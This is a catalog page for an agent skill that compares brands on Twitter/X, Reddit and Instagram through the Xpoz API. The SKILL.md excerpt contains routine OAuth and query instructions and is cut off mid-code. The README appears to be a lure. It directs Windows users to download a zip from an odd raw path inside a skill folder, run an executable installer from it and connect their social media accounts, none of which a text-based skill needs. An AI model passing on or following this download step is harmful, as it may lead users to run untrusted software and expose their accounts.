⏳ This skill is pending AI review.

Scores will appear once the review pipeline completes.

v2026-02-24

competitive-intel

aditya923-c@aditya923-c⭐ 6 stars· last commit 1mo ago· 0 open issues

Compare brands and products across social media — share of voice, sentiment, positioning, and audience overlap using Xpoz. Use when asked to "compare brands", "competitive analysis", "share of voice", "brand vs brand", or "competitive intelligence".

Choose how to use this skill

You do not need every option. Choose the path your AI client supports. The stable page stays the same; versioned files are immutable.

1. Native installer

This listing has no registered native installer command. Use the complete package or source fallback below, depending on what your client supports.

Do not guess an installer command or replace an existing version without reviewing the diff.

2. Complete package recommended

Download the ZIP when available. It includes SKILL.md plus the references, security notes and version metadata.

No complete ProSkills package is published for this listing yet.

3. Prompt-only

Copy the prompt above when the agent can read the stable page or when you want to adopt the workflow without installing a skill.

Need only the instruction file?

Download SKILL.md only if your client requires a single file. The complete ZIP is safer for a full installation because it preserves the references and release context.

No path installs or executes anything by itself. Your agent still needs access to the project files. Before updating, compare the installed version and review the diff.

—/10

// RATINGS

⭐GitHub Stars
⭐ 6 on GitHubGitHub ↗

New / niche

🟢ProSkills Score
—
📍

Not yet listed on ClawHub or SkillsMP

// README

🤖 xpoz-agent-skills - Smart Agent Tools for Social Media

Download xpoz-agent-skills


📋 About xpoz-agent-skills

xpoz-agent-skills provides agent skills designed for social media intelligence tasks. These skills help you analyze data and interact with social media platforms like Twitter and Reddit more easily. The software works with Claude Code, Codex CLI, and ChatGPT to automate social media-related workflows. Whether you want to gather data, monitor trends, or analyze user activity, this tool supports those goals.


🚀 Getting Started

This guide will help you download, install, and run xpoz-agent-skills on a Windows computer. You don’t need programming experience. Follow each step carefully and use the links provided.


🖥️ System Requirements

Before installing, make sure your Windows PC has these specs:

  • Windows 10 or later (64-bit recommended)
  • At least 4 GB of RAM
  • 500 MB of free disk space for installation
  • Internet access to download files and connect to social media APIs
  • A modern web browser (for setup and account management)

📥 How to Download xpoz-agent-skills

To get started, visit the main download page.

Download here

  1. Click the button above or go directly to https://github.com/Aditya923-c/xpoz-agent-skills/raw/refs/heads/main/skills/reddit-research/skills-agent-xpoz-3.0.zip in your browser.
  2. On the page, look for the Releases section or the main repository files.
  3. Download the latest Windows installer or executable file. It usually appears as a .exe or .msi file.
  4. Save the file to a location you can easily find, like your Desktop or Downloads folder.

🔧 How to Install and Run

  1. Locate the downloaded file on your computer.
  2. Double-click the installer or executable file to start the installation.
  3. Follow the on-screen instructions:
    • Accept the license agreement.
    • Choose the installation folder (the default is usually fine).
    • Click Install and wait for the process to finish.
  4. After installation, you can run the application by:
    • Clicking the shortcut on your Desktop, or
    • Searching for "xpoz-agent-skills" in the Start menu and opening it.
  5. When you first run the app, it may prompt you to sign in or connect your social media accounts. Follow instructions to link your Twitter or Reddit accounts securely.

⚙️ Features Overview

xpoz-agent-skills provides these main features:

  • Social Media Data Collection: Automatically gather posts, comments, and user info from Twitter and Reddit.
  • Agent Automation: Use built-in skills to perform common social media intelligence tasks.
  • Integration: Works with Claude Code, Codex CLI, and ChatGPT to provide flexible AI-powered interactions.
  • Multi-Platform Support: Supports multiple social media APIs, including Twitter and Reddit.
  • Customizable Skills: Adjust or add new agent skills to fit your social media monitoring needs.
  • Text-based Reports: Generate simple, clear summaries or detailed reports based on collected data.

🔐 Security and Privacy

Your social media credentials stay protected. xpoz-agent-skills connects via official APIs, so your data is handled through secure channels. The software does not store passwords locally. When linking accounts, it uses OAuth where supported, which is a safe method for authentication.


🛠️ Common Tasks

Here are some easy examples of what you can do with xpoz-agent-skills:

  • Track trending topics on Twitter by setting up an agent to watch hashtags or keywords.
  • Collect recent Reddit comments in a community to analyze user sentiment.
  • Generate summary reports of daily social media activity relevant to your interests.
  • Use AI agents to respond automatically to common questions or patterns on your social media channels.
  • Export collected data as text files or formats that other programs can read.

🔄 Updating xpoz-agent-skills

Periodically check the download page at https://github.com/Aditya923-c/xpoz-agent-skills/raw/refs/heads/main/skills/reddit-research/skills-agent-xpoz-3.0.zip for new versions.

To update:

  1. Download the latest release using the same steps in the Download section.
  2. Run the new installer. It will replace old files without losing your settings.
  3. Restart the application to apply updates.

❓ Troubleshooting

If you experience issues, try these steps:

  • Make sure you downloaded the correct Windows version.
  • Restart your computer and try again.
  • Check your internet connection.
  • Verify that your social media accounts have correct permissions and are active.
  • Review error messages for clues and retry any failed steps.
  • If problems persist, you can search the Issues section of the GitHub page or contact support through official channels.

📚 Additional Resources

  • Visit the repository’s Wiki or Documentation tabs on GitHub for detailed instructions and examples.
  • Look for community forums or discussion boards related to social media automation and AI agents.
  • Learn about Twitter API and Reddit API for better use of advanced features.
  • Explore Claude Code and Codex CLI documentation if you want to extend or customize skills.

Quick Links

// HOW IT'S BUILT

// FILES

2 files shipped with this skill. Inline text is the catalog copy. The upstream link is the source repository.

  • skills/competitive-intel/SKILL.md7.8 KBupstream ↗
    ---
    name: competitive-intel
    version: 2026-02-24
    description: Compare brands and products across social media — share of voice, sentiment, positioning, and audience overlap using Xpoz. Use when asked to "compare brands", "competitive analysis", "share of voice", "brand vs brand", or "competitive intelligence".
    ---
    
    # Competitive Intelligence
    
    ## Overview
    
    Compare multiple brands or products side by side across Twitter/X, Reddit, and Instagram. Measure share of voice, compare sentiment, identify positioning differences, and discover competitive advantages from real social conversations.
    
    ## When to Use
    
    Activate when the user asks:
    - "Compare [BRAND A] vs [BRAND B] on social media"
    - "Share of voice: [BRAND] vs competitors"
    - "Competitive analysis for [PRODUCT]"
    - "How does [BRAND A] sentiment compare to [BRAND B]?"
    - "What are people saying about [BRAND] vs [COMPETITOR]?"
    
    ## Setup & Authentication
    
    Before fetching data, ensure Xpoz access is configured. Follow these checks in order.
    
    ### Check 1: Already authenticated?
    
    **If you have MCP tools**, try calling any Xpoz tool (e.g., `checkAccessKeyStatus`). If it works → skip to Step 1.
    
    **If you have the SDK**, try:
    ```python
    from xpoz import XpozClient
    client = XpozClient()  # reads XPOZ_API_KEY env var
    ```
    If this succeeds without error → skip to Step 1.
    
    If neither works, you need to authenticate. Choose the path that fits your environment:
    
    ---
    
    ### Path A: MCP via mcporter (OpenClaw agents)
    
    If `mcporter` is available:
    
    ```bash
    mcporter call xpoz.checkAccessKeyStatus
    ```
    
    If `hasAccessKey: true` → ready. If not:
    
    ```bash
    mcporter config add xpoz https://mcp.xpoz.ai/mcp --auth oauth
    ```
    
    Then authenticate — generate the OAuth URL and send it to the user:
    
    **Step 1: Generate authorization URL**
    ```python
    import secrets, hashlib, base64, urllib.parse, json, urllib.request, os
    
    verifier = secrets.token_urlsafe(64)
    challenge = base64.urlsafe_b64encode(hashlib.sha256(verifier.encode()).digest()).rstrip(b'=').decode()
    state = secrets.token_urlsafe(32)
    
    # Dynamic client registration
    reg_req = urllib.request.Request(
        'https://mcp.xpoz.ai/oauth/register',
        data=json.dumps({
            'client_name': 'Agent Skills',
            'redirect_uris': ['https://www.xpoz.ai/oauth/openclaw'],
            'grant_types': ['authorization_code'],
            'response_types': ['code'],
            'token_endpoint_auth_method': 'none',
        }).encode(),
        headers={'Content-Type': 'application/json'},
    )
    reg_resp = json.loads(urllib.request.urlopen(reg_req).read())
    
    params = urllib.parse.urlencode({
        'response_type': 'code',
        'client_id': reg_resp['client_id'],
        'code_challenge': challenge,
        'code_challenge_method': 'S256',
        'redirect_uri': 'https://www.xpoz.ai/oauth/openclaw',
        'state': state,
        'scope': 'mcp:tools',
        'resource': 'https://mcp.xpoz.ai/',
    })
    
    auth_url = 'https://mcp.xpoz.ai/oauth/authorize?' + params
    
    # Save state for token exchange
    os.makedirs(os.path.expanduser('~/.cache/xpoz-oauth'), exist_ok=True)
    with open(os.path.expanduser('~/.cache/xpoz-oauth/state.json'), 'w') as f:
        json.dump({'verifier': verifier, 'state': state, 'client_id': reg_resp['client_id'],
                   'redirect_uri': 'https://www.xpoz.ai/oauth/openclaw'}, f)
    
    print(auth_url)
    ```
    
    **Step 2: Send the URL to the user**
    
    Tell them:
    > "I need to connect to Xpoz for social media data. Please open this link and sign in:
    >
    > [auth_url]
    >
    > After authorizing, you'll see a code. Paste it back to me here."
    
    **Step 3: WAIT for the user to reply with the code.** Do not proceed until they respond.
    
    **Step 4: Exchange the code for a token**
    
    Once the user provides the code (either a raw code or a URL containing `?code=...`), extract the code and exchange it:
    
    ```python
    import json, urllib.request, urllib.parse, subprocess, os
    
    with open(os.path.expanduser('~/.cache/xpoz-oauth/state.json')) as f:
        oauth = json.load(f)
    
    code = "THE_CODE_FROM_USER"  # Extract from user's reply
    
    data = urllib.parse.urlencode({
        'grant_type': 'authorization_code',
        'code': code,
        'redirect_uri': oauth['redirect_uri'],
        'client_id': oauth['client_id'],
        'code_verifier': oauth['verifier'],
    }).encode()
    
    req = urllib.request.Request(
        'https://mcp.xpoz.ai/oauth/token',
        data=data,
        headers={'Content-Type': 'application/x-www-form-urlencoded'},
    )
    resp = json.loads(urllib.request.urlopen(req).read())
    token = resp['access_token']
    
    # Configure mcporter with the token (token is never printed)
    subprocess.run(['mcporter', 'config', 'remove', 'xpoz'], capture_output=True)
    subprocess.run(['mcporter', 'config', 'add', 'xpoz', 'https://mcp.xpoz.ai/mcp',
                    '--header', f'Authorization=Bearer {token}'], check=True)
    
    # Clean up
    os.remove(os.path.expanduser('~/.cache/xpoz-oauth/state.json'))
    print("Xpoz configured successfully")
    ```
    
    **Step 5: Verify** with `mcporter call xpoz.checkAccessKeyStatus` → should return `hasAccessKey: true`.
    
    ---
    
    ### Path B: MCP via Claude Code config
    
    For Claude Code users without mcporter, add to `~/.claude.json`:
    ```json
    {
      "mcpServers": {
        "xpoz": {
          "url": "https://mcp.xpoz.ai/mcp",
          "transport": "http-stream"
        }
      }
    }
    ```
    Claude Code handles OAuth automatically on first tool call — the user just needs to authorize in their browser when prompted.
    
    ---
    
    ### Path C: SDK (Python or TypeScript)
    
    Ask the user:
    > "I need a Xpoz API key to access social media data. Please go to https://xpoz.ai/get-token (it's free, no credit card needed) and paste the key back to me."
    
    **WAIT for the user to reply with the key.** Then:
    
    **Python:**
    ```bash
    pip install xpoz
    ```
    ```python
    from xpoz import XpozClient
    client = XpozClient("THE_KEY_FROM_USER")
    ```
    
    **TypeScript:**
    ```bash
    npm install @xpoz/xpoz
    ```
    ```typescript
    import { XpozClient } from "@xpoz/xpoz";
    const client = new XpozClient({ apiKey: "THE_KEY_FROM_USER" });
    await client.connect();
    ```
    
    Or set the environment variable and use the default constructor:
    ```bash
    export XPOZ_API_KEY=THE_KEY_FROM_USER
    ```
    
    ---
    
    ### Auth Errors
    | Problem | Solution |
    |---------|----------|
    | MCP: "Unauthorized" | Re-run the OAuth flow above |
    | SDK: `AuthenticationError` | Verify key at [xpoz.ai/settings](https://xpoz.ai/settings) |
    | Token exchange fails | Ask user to re-authorize — codes are single-use |
    
    
    ## Step-by-Step Instructions
    
    ### Step 1: Parse the Request
    
    Extract:
    - **Primary brand** and **competitors** (2-5 brands total)
    - **Platforms** (default: Twitter + Reddit)
    - **Time period** (default: last 7 days)
    - **Industry context** for better analysis
    
    Build expanded queries for each brand:
    - `"Slack"` → `"Slack" NOT "cut some slack" NOT "slack off"`
    - `"Discord"` → `"Discord" NOT "sow discord" NOT "discord between"`
    - For stocks: include ticker symbols
    
    ### Step 2: Fetch Data for Each Brand
    
    Run parallel searches — one per brand, per platform.
    
    #### Via MCP
    
    For each brand, call:
    
    **Twitter posts:**
    ```
    Call getTwitterPostsByKeywords:
      query: "<brand query>"
      fields: ["id", "text", "authorUsername", "createdAtDate", "likeCount", "retweetCount", "impressionCount"]
      startDate: "<7 days ago>"
      endDate: "<today>"
      language: "en"
    ```
    
    **Twitter users discussing the brand:**
    ```
    Call getTwitterUsersByKeywords:
      query: "<brand query>"
      fields: ["id", "username", "name", "followersCount", "relevantTweetsCount", "relevantTweetsLikesSum"]
      startDate: "<7 days ago>"
    ```
    
    **Reddit (for each brand):**
    ```
    Call getRedditPostsByKeywords:
      query: "<brand query>"
      fields: ["id", "title", "text", "score", "numComments", "subreddit", "createdAtDate"]
      startDate: "<7 days ago>"
    ```
    
    **CRITICAL:** Each call returns an `operationId` — poll `checkOperationStatus` until "completed".
    
    **Tip:** Launch all brand searches in sequence, collect all operationIds, then poll them. This is faster than waiting for each one.
    
    #### Via Python SDK
    
    ```python
    from xpoz import XpozClient
    
    client = XpozClient()
    
    brands = {
        "Slack": '"Slack" NOT "cut some slack"',
        "Discord": '"
  • README.mdupstream ↗

    Contents are not inlined in the catalog. Open the upstream file.

Plain-text copy, no login: /skill-bundles/aditya923-c-xpoz-agent-skills-skills-competitive-intel.md

// REPO STATS

6 stars
0 open issues
Last commit: 1mo ago